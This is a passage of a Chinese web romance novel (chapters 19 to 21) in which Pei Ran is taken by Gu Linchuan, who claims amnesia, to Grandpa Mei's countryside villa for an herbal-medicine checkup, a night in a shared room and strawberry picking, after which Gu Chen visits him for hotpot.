下意识的反应骗不了人,庭婷已经确定,裴然究竟为何发病,但解铃还须系铃人,她帮不上任何忙。
无力感涌上来,庭婷把工位收拾好,又将灯光全部关掉。
裴然怔怔地盯着屏幕上只有一颗星的关卡结算画面,叹了口气,收起手机,和庭婷一起下楼。
大厦楼下,裴然走在前面,余光突然看见路边停着的一辆保时捷。
简约低调的风格,流畅自然的车身线条,无一不透露着熟悉之感。
他侧身问庭婷:“工作室有人开保时捷吗?”
庭婷一愣,顺着他目光看过去,回忆了一下:“没有吧,那群实习生都坐地铁上班。”
裴然皱着眉思考,总感觉在哪里见过。
庭婷突然惊呼一声,“然哥,它开过来了!”
裴然抬起头,车子缓缓停在两人面前。
顾临川从驾驶座下来,面容冷峻,“怎么这么晚才下来,又加班了?”
“没有加班,只是收拾地比较慢。”裴然看了看车,又看了看人,眼睛瞪得很大,“这是你的车?”
顾临川反问:“不可以吗?”
裴然想起什么,顿时不说话了。
一旁的庭婷好半晌才回过神,见两人熟悉得不似刚认识,指了指裴然,又指了指顾临川,结结巴巴半天才说出一句完整的话。
“你、你们,什么时候遇到的?!你们这是?!”
裴然实话实说:“刚回国就遇见了,他应该是找我有事。”
顾临川:“庭小姐。”
“我天……”庭婷大脑剧烈运转,简直不敢想象自己看到的一切。
裴然怕她说出他们在一起过的事情,急忙道:“他失忆了,以前和我有关的事情都不记得了。”
庭婷看向顾临川,有些不相信,但顾临川点点头,并未否认。
庭婷更震惊了,“那你还记得我吗?顾哥?”
“记得。”顾临川答。
裴然说:“他说他只忘了我。”
话音刚落,顾临川脸色变得很不好,拉开副驾驶门,语气冷硬:“上车。”
转头对着庭婷是一副公事公办的模样:“庭小姐方便回去吗?”
庭婷哪敢说不方便,连连摆手往后退,“我自己可以回去,你们先走吧。”
说完弯腰越过顾临川,对车内裴然挥了挥手。
裴然也挥挥手,“注意安全。”
顾临川朝她点点头,转身上车离开了。
车子启动,裴然没想到他会来,眉眼是自己都控制不住的高兴。
裴然看着熟悉的车内装饰,又看着那双令他的手,顿时想起来这车为什么令他熟悉。
他刚回国时,顾辰派人来接他,他就上的这辆车。
一瞬间,气氛有些尴尬,裴然不自在的捏了捏安全带,问:“当时,是你来接的我吗?”
“谁说我来接你了?”顾临川开车和他人一样冷漠霸道,一路上引得其他车子纷纷避让。
没有否认,就是默认。
“你不是……”裴然转过身,盯着他。
“我只是在路边停下,谁知道会有一个人冒冒失失坐上来。”顾临川解释说,“开车呢,别看我,看路。”
“哦。”裴然听话地坐端正,收回眼巴巴的视线,目视前方,半晌反应过来,又不是他开车,他看什么路。
又过了一会儿,裴然按耐不住好奇心,又问:“那你怎么知道我要去哪?”
“我不知道,乱走的。”顾临川答。
对于这一点,裴然点头深表认可,因为即使他离开了七年,也知道从那条街到工作室,用不了太久。
不至于二十分钟的路程,硬生生绕着远路,开了一个小时。
“对不起啊,我当时认错了。”裴然给他道歉,把他当成了司机使唤。
“裴然,已经
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过去很久了。”车子驶入近郊区别墅区,车速慢下来,顾临川把窗子降下一点,“你觉得你道了歉,时光就会倒流,你就不会上错车了吗?”
“不会。”裴然如实回答。
“那就不要道歉。”
“可是……”
“没有可是,现在我不也在当你的司机。”顾临川停好车,啪嗒一声解开安全带,转头看着他,“下车。”
裴然看向窗外,早已是陌生的环境,这才想起来问他要带自己去哪。
顾临川下车,关门前勾着唇轻笑一声,“把你卖掉。”
裴然跟着下了车,郊外温度明显低几分,默默拉上外套拉链,小声说:“我又不值钱。”
南城近郊的别墅区地势开阔,每栋别墅相隔甚远,宁静又自在,路旁种着香樟树,风吹过,树叶发出沙沙声。
这是栋三层小洋楼,外观简,线条利落大气,看起来很低调。
门前圈着一方规整的大院子,没搞那些华而不实的名贵花木,反倒朴素地种满了各类时令蔬菜。
顾临川人高腿长,裴然不得不小跑才能跟上,到门口时微微喘着气。
“这到底是哪里啊?”
顾临川放缓了脚步,“枚烨爷爷家。”
枚老爷子五年前宣布停止接诊后,嫌城市吵闹无趣,便买下这栋郊区别墅,在这里种菜,乐得清闲。
“来了啊。”枚烨收到消息,在门口等他们,“先进来坐吧,我去喊爷爷。”
顾临川走进去,转头发现裴然还愣在原地,眼神示意他跟上。
裴然走在他身后,小声在他耳边问:“你带我来见枚爷爷做什么?”
顾临川在沙发上坐下,“待会儿你就知道了。”
管家将泡好的茶端上来,微笑着同二位问好,特别关心了裴然。
“裴少爷,好久不见了。”
裴然看着管家与从前别无二致的熟悉的面庞,只有眼角似乎多了几道细纹,轻声唤他:“陆叔叔。”
陆管家看着他俩,笑了笑感慨,“裴少爷和顾少爷关系还是这么好。”
裴然心里紧了紧,下意识看向顾临川,见他也看向自己,又匆忙移开视线。
顾临川端起茶轻抿一口,气定神闲地看着裴然。
裴然手忙脚乱,只好也端起茶杯喝茶,差点被呛住。
此时,二楼传来脚步声,三人循声望去,枚烨与枚老一同下楼。
枚老已年过古稀,但仍然精神矍铄,步履沉稳有力。
座上的两人站起身来,顾临川先喊了人:“枚爷爷,又来打扰您了。”
裴然也跟着喊:“枚爷爷。”
枚老爷子温和随性,还觉得两个小辈太过拘谨,便说:“多来叨扰也无妨,先坐先坐。”
坐下后,枚老爷子先是看了看裴然,感慨:“小然可终于回来了,当年你出国得那么突然,我都以为再也见不到你了。”
裴然低下头,不敢看在场人的眼睛,“让枚爷爷担心了。”
顾临川看他反应,怕裴然又陷入极端情绪,轻咳一声,眼神暗示。
枚烨收到信号,出声:“阿姨把饭做好了,爷爷,我们先去吃饭吧,小然刚下班应该饿了吧?”
老爷子一听,年轻人为了工作不吃晚饭,这哪行,当即起身,带着众人往餐厅走。
19. 第 19 章
老爷子口味清淡,桌上便全是健康的绿色蔬菜,又有食不言的习惯,于是几人都安安静静地吃草。
饭后,枚老爷子又慢慢悠悠去花园散步消食,顺道将裴然带上。
枚老爷子在前面慢慢悠悠地走,慈眉善目地看了看裴然,说:“怎么感觉这么久不见,跟爷爷变生疏了呢?”
“没有的。”裴然落后一步,跟在身后。
枚老爷子停下,看着他,摇了摇头,“模样没变,心态变了。”
裴然小时候调皮又捣蛋,四个人里除了枚烨,其他都是让人头疼的。
“可能只是长大了。”裴然说。
“是啊,你们长大了,我也老了。”枚老爷子收回视线,继续慢慢悠悠往前走,语气感慨,“当年的事情,我略有耳闻,这么些年,你受苦了。”
闻言,裴然摇了摇头,“不苦,已经过去了,我现在不是好好的吗?”
“我听小烨说,你前两天住院了,身子好些了吗?”枚老爷子关切地问。
“已经好了,谢谢爷爷挂心。”裴然心头一热。
“待会儿散完步,和我一起去书房,我为你把把脉,看看身子哪里亏空,也好早点补上。”枚老爷子说,“年轻时候不注重,上年纪了可就不好补了。”
裴然觉得自己身子不差,便不想浪费老人家时间和精力,轻声拒绝:“多谢爷爷好意,但我身子还行,上次住院只是意外。”
“怎么?嫌弃老爷子我停诊多年,技术下降了?”枚老爷子佯装生气。
“当然不是……”裴然赶紧摆摆手。
枚老爷子目光落到他脸上,语气笃定从容,气场强大:“唇色偏淡,眼下有淡青色,经常熬夜吧?”
裴然心虚:“偶尔……工作需要的话会……”
“鼻尖暗淡无华,明堂失润,饮食也不规律,怕是经常不吃早饭吧。”
裴然心更虚:“会吃早饭的。”
枚老爷子又继续问他:“是不是很少生病,随后便觉得自己身强体壮,百毒不侵?”
“难道不是吗?”裴然抬起头,疑惑,毕竟这也是他不想劳烦的原因。
裴然的确很少生病,一般淋了雨受了寒,旁人都总会留鼻涕咳嗽几声,裴然却没什么反应,他一直坚信是因为他时常锻炼,所以体质好。
枚老爷子哼了一声,“这么想就完全错咯,你正是虚到极致,肺腑都没了滋润,连感冒发烧这样的反应都起不来。”
裴然神色一惊,不曾想竟然是这样的。
两人一边说着一边绕着花园走了一圈,逛回门口,这才将人一路带进书房。
书房被枚老爷子设计成了中药房,散发着淡淡的中药草药的香味,三面墙上都收着名贵的药材。
枚老爷子端坐在桌后,“手伸出来。”
裴然这下不敢不听话,依言将手腕搁在软垫上。
枚老爷子细细搭着脉,时不时盯着裴然的脸看,半晌不讲话。
看得裴然心底发毛。
终于,枚老爷子收回了手,缓缓道:“身子太虚,气血亏空,得慢慢调养才是。”
说完,又问起他的作息时间,夜里会不会惊醒等,裴然都一一据实回答。
听完,枚老爷子站起身,用笔写下药方,折好递给他,又起身去药柜中为他抓药,动作娴熟利落。
一切做完,枚老爷子将药递给他,转念一想,“今晚就在这里睡下,我让阿姨给你把药煎好?”
裴然下意识想拒绝,“不用了,爷爷。”
“院子里还种着些菠菜和小番茄,我一个老头子收得又慢,如果有个人来帮我就好了。”枚老爷子故作苦恼。
“爷爷,那我帮你吧。”裴然只好说。
“小烨。”枚老爷子喜笑颜开,朝门外喊了一声,“让阿姨给小然整理一间卧室出来。”
枚烨不知道从哪里出来的,闻言点点头:“知道了,爷爷。”
一切安排妥当,枚老爷子又说了几句闲话,便起了困意,打着哈欠回了房间。
裴然仍旧有些忧虑,问枚烨:“会不会打扰?”
“不会。”枚烨轻笑一声,同他说,“爷爷喜欢热闹,你能留下陪他,他只会觉得开心。”
裴然放下心来,跟在枚烨身后,等他为自己安排房间。
谁料,枚烨带着他在三楼转了一圈,最后停在一间房门前。
“只剩一个客房了,其他的都没收拾,这个点,佣人都下班了,要不——”枚烨指了指顾临川的房门,意思不言而喻。
裴然沉默,几秒后试图挣扎:“要不我还是回家吧。”
枚烨说:“你不是答应了爷爷明天陪他摘菜吗?”
裴然想了想,说:“我明天早点起来,赶在爷爷起床前过来。”
枚烨又说:“老人家觉少,五点多便醒了,你确定?”
裴然觉得自己还能抢救一下,“那我睡沙发。”
“爷爷睡醒发现你在沙发上,我要被家法处置了。”
裴然还在绞尽脑汁想理由。
面前的门突然打开,顾临川站在门口,一脸嫌吵的不耐。
“你们两个,在我房间门口聊得挺欢啊,客厅是摆设?”他刚洗完澡,头发湿漉漉的,浴袍半开,露出若隐若现的胸膛。
枚烨简直没脸看他,轻叹一声扶额,以前怎么没觉得好友这么闷骚。
“我们这就走。”
裴然拔腿就要跑,被人揪住后领。
两人同时拦住他,枚烨出声喊住,顾临川则是直接上手拉他。
“站住。”
顾临川脸色更黑,问他:“你走去哪?你俩聊这么久还没聊完?”
被拽着手腕,裴然跌了一下,差点撞见顾临川怀里,鼻尖几乎快贴在他喉结处。
裴然赶紧拉开距离,解释:“已经聊完了。”
“谁说这是你的房间门口了?”枚烨站在一旁,好整以暇地看着他们,“这明明也是我们小然的房间,临川,做人别太霸道。”
顾临川挑眉,看向裴然,眼神询问。
这间房,是专门为顾临川留宿而收拾的,只有顾临川会住进去。
裴然欲哭无泪,只好应下,说:“那个……客房不够了,我能在你房间借住一晚吗?”
不等顾临川说话,裴然赶紧补充:“不可以的话就算了。”
他在内心疯狂祈祷顾临川能一把关上房门,说一句想都别想。
毕竟顾临川失忆了,忘记了他们的过去。
他可是实实在在地记得,记得十八岁以前的每一年,他们都如此亲密无间。
睡一张床,吃同一根雪糕,会在夜里无人时偷偷接吻。
如今,他只是外人,踏入别人私人领域前,需要询问。
曾经唾手可得的东西变成奢望,裴然心想,既然如此那他宁可不要。
时间一分一秒过去,被拉得很长,裴然眼巴巴望着他,模样很可怜。
“算了的话,你要去睡菜地?”
顾临
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川脸色看不出喜怒,和枚烨对视一眼后,面无表情地走进房间,没关门。
没拒绝也没同意,只说:“要洗澡赶快,十点准时熄灯睡觉。”
裴然看了眼时间,已经九点多了。
他没有对这份请求设置预期,因此不论结果好坏,他都坦然接受,此刻的回答让他紧绷的弦骤然松弛,有一种不真实的感觉。
他说点什么,但顾临川背影已经消失了,他咬着唇站在门口,半晌才抬脚走进房间,拿着新的睡衣进去洗澡。
全程目不斜视,没有看坐在床边的顾临川一眼。
浴室里还是湿漉漉的,弥漫着潮湿的水蒸气,裴然嗅着空气中淡淡的沐浴露香味,咽了咽口水。
裴然在内心疯狂呐喊,让自己赶紧清醒,不要被迷昏了头脑。
把水温调低,终于冷静不少,裴然迅速洗完,穿着睡衣出去。
他慢慢挪到顾临川面前,问:“我能睡床吗?”
顾临川像看傻子一样看他,“不然睡哪里?”
“好的,谢谢你,那我先休息了,晚安。”裴然一口气说完,转身走到床边,掀起被角躺进去。
裴然躺得笔直,甚至只占了床的一个小角落,生怕挤到顾临川。
他闭上眼睛,强迫自己睡觉,睡着之后就什么都不用想了。
“起来。”顾临川的声音在头顶响起。
裴然也不问为什么,直接从被窝里钻出来,脸被闷得发红。
“你在英国是怎么活下去的?”顾临川很不解,指了指自己面前,“站过来。”
裴然依言站了过去,还不等说话,一双大手就抚上他的头。
裴然这才反应过来,自己刚刚吹头发时太着急了,竟然都没吹干。
“不好意思,弄湿枕套了。”裴然说。
顾临川没回答,只专心给他吹头发。
吹完后,裴然又钻进被窝里蒙住自己。
顾临川看了看自己刚刚摸过裴然柔软的发顶的手指,感觉指尖传来一阵酥麻。
裴然是故意的,好有心机啊,他恶劣地想着。
故意不吹干,故意在他面前露出湿漉漉的发尾。
片刻后,他收拾好,走到床边,把床头灯关掉,也躺在床上。
一时间,漆黑一片的房间里只剩下两人浅浅的呼吸声。
“顾临川。”裴然轻声喊他。
“怎么?”顾临川回答。
“你睡了吗?”裴然掀开一点被子,盯着天花板,明知故问。
“……”顾临川侧头看他,“没睡的话,回答你的是谁?”
“是你拜托枚爷爷替我看病的吧。”裴然声音很轻,但语气肯定。
“关灯了就早点睡,不要想太多无关的事。”顾临川闭上眼睛,睡姿标准。
裴然弯着眉眼笑:“你人真好。”
突然被发了好人卡,顾临川内心深处像被投入石子的湖面,泛起阵阵涟漪,扰得他心神混乱。
过了很久,顾临川才想到一句:“还用你说?”
“要说的。”裴然不赞同的摇了摇头,“你对我好,我都会记得。”
“那你记性很好。”顾临川带了几分讥讽。
裴然没听出言外之意,仍旧弯着眉:“总要记得一些快乐幸福的事情,不然生活也太苦了。”
说完,裴然阖上眼,很快便睡着了。
顾临川听到身侧之人传来的呼吸声,难得的感觉到安宁。
这一夜,两人都好梦。
20. 第 20 章
第二日清晨,别墅里的佣人在门口轻声叩门,唤两人起床吃早饭。
裴然听到敲门声的第一时间就醒了,而后赶紧蹑手蹑脚地去开了门,同佣人说很快便下去。
佣人离开了,裴然又轻轻关上门,走到床边,见顾临川皱着眉往被子里躲,明显一副要赖床的迹象。
“起床了,顾临川。”裴然蹲在床边,趁机偷偷打量着眼前人的睡眼,见他没反应,又继续说,“枚爷爷应该已经在餐厅等……”
剩下的话被挡在顾临川的掌心,他从被窝里伸出一只手,堵住裴然喋喋不休的嘴。
“安静点。”顾临川声音很闷,“再睡十分钟。”
裴然好脾气地任由他捂住,怕自己唇碰到他,还紧紧抿着,呼吸都放得很轻。
床上的人翻了个身,继续睡。
裴然则是走到浴室洗漱,全程都很安静,没有发出一点声响。
于是,十分钟后按时起床的顾临川臭着一张脸起来,径直往浴室走去。
很显然,他忘记了自己昨晚是和裴然一起睡的,所以他直接推开了浴室门,和里面刚上完厕所正在栓裤绳的裴然面面相觑。
甚至,裴然的上衣还向上卷起,卡在胯骨处,露出一截若隐若现的腰和平坦的小腹。
“抱歉,忘记了。”顾临川还算淡定,甚至目光缓缓上移,定格在脸上,指了指裴然的嘴角,提醒他,“牙膏沫没洗干净。”
裴然手忙脚乱地把绳子系好,又赶紧把衣服放下来,一套动作下来脸上红得发烫。
“没关系,是我没关好门,你没事吧,我的意思是我应该锁门的。”
裴然也不知道自己在说什么,像一个出故障的机器人一样,脑海里的程序代码错乱,稀里糊涂间还同手同脚了几步。
走到盥洗台前,捧了一捧清水擦了擦嘴角,全程不敢回头看,因为此刻顾临川正正好站在他身后,手里拿着牙刷慢慢刷着,也不挪地方。
突然,后背抵上顾临川的炽热胸膛,烫的他身子很明显瑟缩一瞬,手上动作顿了顿,正犹豫要不要开口的时候,头顶传来抽纸的声音。
顾临川从背后捏着他的下巴,用点力让他抬头,手里拿着纸擦了擦他的嘴角。
裴然这才发现自己一阵忙活,牙膏渍还留在嘴角。
“好了。”顾临川收回手,往后撤了一步,因为在刷牙,声音含糊不清,带着几分刚起床的沙哑,“你先下去,我很快。”
裴然抬起头,在镜子里和身后的人对上视线,只觉两人靠得实在太近,连彼此身上淡淡的香味都能嗅到。
分神间,裴然甚至还在想,他们昨晚不是用的同一款沐浴露吗,怎么他闻不到自己身上的味道。
“还不走?”镜子里的人慵懒地抬眼,半开玩笑地说,“怎么刚刚被我看了,不服气,要看回来?”
说话间,呼吸全然打在他侧颈,裴然喉结上下滚了几下,才勉强找回自己的声音,“没、没有,我现在就走。”
说完,逃也似的溜出去。
楼下,枚老爷子和枚烨已经吃过早饭,在谈论报纸上的晨间新闻。
裴然来得晚,佣人便将冷掉的早饭撤掉,吩咐厨房为他们二人重新做。
枚老爷子没那么多规矩,小辈们睡眠和他不一样,贪睡些赖会儿床,太正常不过。
于是,裴然走到他面前,同他道歉时,他还有些没反应过来。
“爷爷,抱歉,我们起得晚了。”
枚老爷子先是问:“昨晚睡得还习惯吗?”
裴然点头:“嗯,睡得很好。”
“那就好。不用道歉,小孩子多睡会儿,老头子我还要多说什么吗?”枚老爷子摆摆手,转头吩咐王姨,“把小然那份中药端上来。”
王姨应下,从药房里端出一碗黑乎乎的中药,药味浓郁,不多时,整个客厅便弥漫着清苦的药味。
裴然接过药碗,下意识地皱起眉,只是闻到味道,舌根都跟着发苦。
几人的目光都聚集在他身上,裴然闭上眼睛,一口闷掉,苦气刺得他眼尾都泛酸。
终于喝完,王姨递给他一块冰糖,裴然笑笑,吃下。
二楼传来脚步声,几秒后,顾临川穿着一身简单的休闲装,从楼上缓缓走下来。
他先是过去同老爷子和枚烨打了招呼,才走到餐桌前,在裴然对面坐下。
早餐是一碗燕麦牛奶粥配上一份南瓜饼,味道很鲜美,吃完后整个人都暖起来了。
粥上卧着一块溏心蛋,裴然拿筷子戳了一下,蛋黄便流了出来,裴然不爱吃这种腥的,但这是别人家,他硬着头皮,打算吃下去。
坐在对面的顾临川拦他,问:“不爱吃?”
“也不是。”裴然下意识否认。
顾临川置若罔闻,把自己的碗往前推了推,“不喜欢给我。”
顾临川似乎嫌他慢,不等裴然动手,便拿了公筷将他碗里的煎蛋夹过来。
裴然欲言又止,“谢谢……”
“感谢的话不用说了。”顾临川摆摆手,“用行动来证明。”
此时,裴然还听不懂这句话的含义。
两个小时之后,晨雾尽散,阳光破开云层倾洒下来,给菜园里的草木镀上一层暖光。
三个年轻人加上枚老爷子,纷纷换上农事专用服,钻进园子里。
顾临川面容冷峻,上身穿着简单的连帽卫衣,袖口随意地挽起,露出腕间的金属表,下身裤脚利落扎进低帮雨靴里,简直与平时的形象截然不同。
裴然见了他,没忍住,扑哧一声笑了出来。
“笑什么?”顾临川面无表情地转过来。
“没笑没笑。”裴然压下嘴角,赶紧摆摆手。
裴然和他装扮一样,头上还多了一顶遮阳帽。
枚老爷子站在三人面前,指点江山地分配任务:“小烨先去把隔壁的越冬菠菜收掉,小顾摘草莓,小然拔萝卜。”
三人一一应下,分别进了不同的地方。
裴然走进萝卜地,畦里萝卜秧长得旺,绿油油的叶子铺在地上,半截白白胖胖的萝卜埋在土里。
裴然戴上手套,先把萝卜叶子拢在手里,随后轻轻扒开周围的泥,最后向外使劲一拔,连萝卜带泥整根拔了出来。
裴然动作轻柔,但熟练之后速度不慢,脚边萝卜越摆越多,很快就拔光了地里的萝卜。
枚老爷子正好过来问他,“小然,弄好了吗?”
裴然把萝卜往身后藏,回答他:“爷爷,可能还要一会儿。”
枚老爷子说:“不着急,累了就歇会儿。”
“我知道了,爷爷。”
等枚老爷子
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离开后,裴然往外探了探脑袋,确认没人注意到这边,便溜到顾临川的菜地里。
“顾临川,你收完了吗?我来帮你了。”裴然小声喊他。
顾临川递给他一个草莓篮,“来得正好,还没有。”
方才进来之前,顾临川便要裴然干完自己的就来帮他,以表早上早饭时的感谢,“不是要谢我吗?拔完萝卜,过来帮我摘草莓,可以吗?”
裴然自然是毫不犹豫地应下,“没问题。”
为了等裴然过来,顾临川甚至还特意慢了点,此刻还剩下一大片草莓没收。
裴然进了草莓地,清甜的果香混着泥土香气扑面而来,鲜红的果实藏在绿叶间,娇俏不已,十分吸引人。
裴然手上提着一个篮子,沿着菜畦一路摘过去,神色投入认真。
顾临川分神用余光偷看他,心里想着裴然终于守信用一回。
裴然摘草莓时发现了一颗特别大特别红的,惊喜地转过头分享:“你快看!”
顾临川走过来,一颗爱心形状的巨型草莓躺在裴然手心,阳光洒进来,衬得裴然整个人很温柔。
他正想说点什么,下一秒,冰冰凉凉的草莓就落到他的掌心,他微微愣神,却见裴然眼底含笑。
“这个送给你。”
顾临川听到自己反问:“为什么要送给我”
裴然也不知道原因,只好说:“它长得很漂亮。”说完他从包里拿出纸巾,递给他:“枚爷爷说,草莓没用药,擦擦灰就可以吃了,你要试试吗?”
“嗯。”顾临川接过纸巾。
爱心草莓是两颗草莓挨在一起长出来的,顾临川咬了一口,酸甜的汁水在嘴巴里爆开。
裴然凑到他眼前,期待地问他:“好吃吗?甜吗?”
“甜。”顾临川如实回答。
裴然满意地笑了笑,继续摘草莓。
过了一会儿,裴然又惊呼一声,他又发现了一颗爱心草莓,只是这一颗要小一些。
他还想送给顾临川,但顾临川说已经吃过了,让他自己尝尝。
于是他擦了擦,咬了一小口,脸上的表情瞬间凝固。
太酸了!
裴然被酸的眼睛都眯起来,“这一颗好难吃。”
“真的吗?”顾临川眸色渐深,盯着他的手,几秒后,状似不经意地从他手里拿过那颗草莓,“我试试。”
裴然吓一跳,赶紧阻止他,连忙拉着他的手臂说:“这是我吃过的。”
但由于太过着急,脚下不知道绊到什么东西,失去重心猛地朝顾临川摔过去。
顾临川反应迅速,搂着他的腰,两人靠在一起,不至于摔得太难看。
“哗啦”一声,草莓散落一地,裴然整个人趴在顾临川身上,嘴唇好死不死地擦过他的唇,只一瞬间,裴然就触电般站起来。
“我我我、我不是故意的。”裴然很苍白地解释着,“我刚刚只是想让你不要吃我吃过的草莓,然后没站稳,不小心就摔倒了。”
顾临川也从地上站起身,拍了拍身上的泥土,“我知道。”说完,他伸出手替裴然拣去头发上蹭上的草莓叶。
滚动的喉结又出现在眼前,裴然紧张的闭上眼睛,脑海里思绪纷然,眼皮都在微微颤抖。
好在,顾临川只是替他摘去叶子,并未做其他事。
21. 第 21 章
总算将草莓摘完,装草莓的篮子整整齐齐地码在地上,裴然怕被人发现,先偷偷溜回了萝卜地里。
来的路上撞见枚烨,打了个招呼。
枚烨盯着他的脸,疑道:“脸怎么这么红?太热了吗?”
“啊哈哈还好,一点点热。”裴然吓一跳,语无伦次的解释,“可能是刚刚过来的路上太阳晒的。”
枚烨点头,没再多问。
两人一起进了草莓棚,裴然装作刚来的样子,惊叹:“这草莓长势真好。”
“是吗?”顾临川不咸不淡地反问他,从框里拿了一个,“尝尝?”
裴然下意识偷瞟一旁的枚烨的反应,心虚地摆摆手,“不用了。”
“你看他做什么?”顾临川啧了一声,把草莓扔进自己嘴里,语气不悦,“不吃算了。”
枚烨低低地笑起来,也不管自己手上是不是沾着泥,走过去轻锤他的肩。
“怎么?你也想吃?”顾临川又拿起一颗。
枚烨倒是不客气,接过草莓就吃,“挺甜。”
说完又俯身在顾临川侧耳,用只有两个人能听见的声音调笑:“草莓不够吃吗,怎么还吃醋?”
顾临川冷着脸睨他,抬手轻轻撞他,“不会说话就闭嘴。”
枚烨装出一副受到重击地模样往后退,随即又恢复正常。
对此,顾临川点评:“演技很假,还有少跟戚贺昀混。”
裴然插不进嘴,只好默默去搬草莓,不知道发生了什么,也不明白顾临川为什么又不高兴了。
他胡思乱想,最终得出一个结论,是因为刚刚他不小心碰到他的唇。
被不喜欢的人吻了,哪怕只是意外,会不高兴也是正常的吧。
裴然在内心安慰自己,片刻,又苦着一张脸,还是好难过。
裴然抱着一箱草莓苦兮兮地走着,冬日里的暖阳似乎把人照蔫了,箱子太大挡住视线,拐弯时没注意被石头绊了一下。
快要摔倒的瞬间,裴然只来得及把草莓护住,然后紧紧闭上眼睛。
意料之外的是,疼痛感并未袭来,腰上被紧紧搂住,身后传来顾临川有些着急的呼吸声。
裴然怔怔地看着他,“谢谢。”
“发什么呆呢?走路都能摔。”顾临川干脆伸手把他怀里的箱子拿走,“专心看前面。”
裴然伸手想拿回来,又怕推搡间碰到顾临川,犹犹豫豫间他已经走远了,在几步之外停下等他。
裴然小跑跟上去,一副受了委屈的模样,低着头。
“裴然,你不高兴。”
顾临川突然出声,语气肯定,盯着裴然的眼睛,“讲实话,不要撒谎。”
刚准备说没有的裴然一噎,不说话了。
顾临川也不着急,就这样慢慢走,等着他开口。
过了好久,裴然才说:“我早上不是故意碰到你的,真的。”
“我没有怪你。”顾临川说。
“那你刚才为什么……”要凶我,剩下的话裴然顿了顿,没好意思讲,觉得太矫情。
未尽的话落到顾临川耳朵里,又完全变了味道。
刚才?刚才他只和枚烨有过交流,勉强称得上是亲密。
难道说,裴然吃醋了?
顾临川眯着眼睛,认真分析刚才的情况,裴然的脸色就是在枚烨靠过来的那一刻变得难看的。
而且裴然解释早上两人摔倒撞到一起的事情,联想到刚刚枚烨恰好凑到他耳边说话,他又顺手打了枚烨一拳。
所有的线索汇集,都指向一个结论,裴然吃醋了,一定是这样的。
顾临川点了点头,越发肯定。
于是,他强压下嘴角,态度有一种不自然的温柔,“就因为这个?下次不会了。”
“嗯?”裴然惊讶于他的态度转变如此之快,苦瓜脸一下愣住了。
顾临川盯着他的脸,很轻地笑了一声,随后揉上他的耳垂:“现在相信了吗?”
裴然简直不敢想象,眼睛睁得很大,总觉得不真实,“我不是在做梦吧?”
顾临川收回手,觉得好笑:“那你掐一下,看看痛不痛。”
说着,裴然就打算掐手心,被顾临川一把拦下。
顾临川颇为无奈,“不是梦。”
“也是,梦里哪有这么真实。”裴然有些激动,“我很高兴。”
“这么傻。”顾临川问他:“高兴什么?”
“就是……很高兴。”裴然词不达意,简直不知道怎么说才好。
顾临川还想说些什么,枚老爷子在远处将他喊走了。
临走前,顾临川叮嘱:“别再摔了,我过去一下。”
裴然点点头,等他离开,这才敢直勾勾地盯他远去的背影。
情绪赤裸裸,毫不掩藏。
哪怕是在国外的那七年,他很少会梦到顾临川,他觉得这是对不守约定的人的惩罚。
他抬手摸了摸耳垂,那里似乎还残留着顾临川手指的温度。
裴然拼命地想记住这些瞬间,以后离别才不至于连回忆都没有。
午饭吃罢,裴然都没有看见顾临川的身影,枚烨说他有事,已经先走了。
裴然点点头,也起身告别。
枚老爷子差人送他,还将早上从菜园收的蔬菜水果统统打包好让他带走。
枚烨送他上车,“爷爷提醒你,药记得按时吃,蔬菜水果也是有机的,对身体好。”
“替我谢谢爷爷。”裴然坐在车里,同他挥手告别,“再见。”
枚烨也挥手:“再见。”
车子缓缓在裴然公寓楼下停下,司机下车来帮他搬果蔬,并礼貌询问是否需要上楼。
裴然道了声谢,拒绝了,自己抱着箱子往楼上走去。
出了电梯,裴然手酸,正打算把箱子放下,从兜里找钥匙,余光却看见门口蹲着一个人。
仔细一看,竟然是顾辰,裴然轻声喊他。
“然哥,你终于回来了。”顾辰赶紧从地上站起来,蹲太久推有些麻了,向前趔趄一下。
“你怎么来了?”裴然赶紧扶住他,让他靠在自己身上。
顾辰指了指地上两个装的满满当当的口袋,笑着说:“和你过周末。”
在英国的时候,裴然平时很忙,周末也总是图书馆和兼职的地方来回跑,好不容易闲下来也是在医院呆着。
后面顾辰实在担忧,便大包小包提着食材到裴然家里去,给裴然做饭吃。
裴然这才注意到地上的东西,仔细看了看,是做火锅的食材。
“等很久了吗?我早上有事出去了。”裴然拿出钥匙开门,“进来吧。”
等腿上的麻意消退了点,顾辰便站直了身体,帮裴然把东西都搬进去。
“然哥,怎么买了这么多水果?”顾辰抱着箱子,问他。
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裴然的声音从厨房传来,“朋友送的,你走之前也拿一些吧,我一个人吃不完。”
顾辰很想问是哪个朋友,但摸了摸鼻尖,又觉得不好打听,于是只说:“行,谢谢然哥。”
顾辰带来的食材几乎都不需要处理,裴然把需要煮的菜和肉都装在盘子里,端到餐桌上,摆得满满当当。
火锅很快便煮沸起来,往上咕噜咕噜冒着泡,两人面对面坐着,腾起的雾气模糊了视线。
顾辰将调好的蘸料递给他,“喏,没加香菜。”
裴然笑着接过,果然只有香油蒜泥,“谢谢,你还记得我的口味。”
“当然。”顾辰见时间差不多,便把肉类先丢下去,拆开桌上的零食,“先吃点别的,垫垫肚子。”
不多时,香味猛地浓烈了几分,不少食物都已经煮熟,顾辰赶紧夹出来,放到裴然的碗里。
裴然尝了尝,眯起眼睛,像只餍足的小猫。
窗外寒风凌冽,屋内却暖意正浓,两人聊着闲话,裴然笑得弯了眼,偶尔碰杯喝一口酒。
“怎么突然想到来找我了?”裴然轻声问他,“快过年了,不在家多陪陪叔叔阿姨吗?”
“然哥,我们都多久没见了,你每天不是忙画稿就是出差,我只能在你家来蹲你了。”顾辰颇为委屈,“而且我爸老是给我安排相亲,我不喜欢。”
“不喜欢什么?”裴然问他,“遇见的女孩不喜欢吗?”
“都不喜欢,我讨厌我爸给我安排这些。”顾辰皱着眉,“感情的事情怎么能这么随便?”
裴然笑了,走过去摸了摸他的头,“也是,我们小辰年纪还小,不着急,总会遇见喜欢的人的。”
“已经遇到了。”顾辰小声地说。
“是哪家姑娘?我认识吗?”裴然又问。
“哎呀,然哥你别问了。”顾辰红着脸,转移话题,“你最近忙什么呢,我去公司也没等到你,在门口也等了很久。”
他今日一早便来了,本来计划吃午饭的,谁知一直等到下午裴然才回家,只好当作晚饭了。
“一些琐事。”裴然轻笑:“你不是去顾氏任职了吗?我以为你也很忙。”
顾辰筷子一顿,问:“然哥你怎么知道的?”
裴然说:“上次去公司,我说我要找顾总,前台问我是哪个顾总,我才知道你也进集团了。”
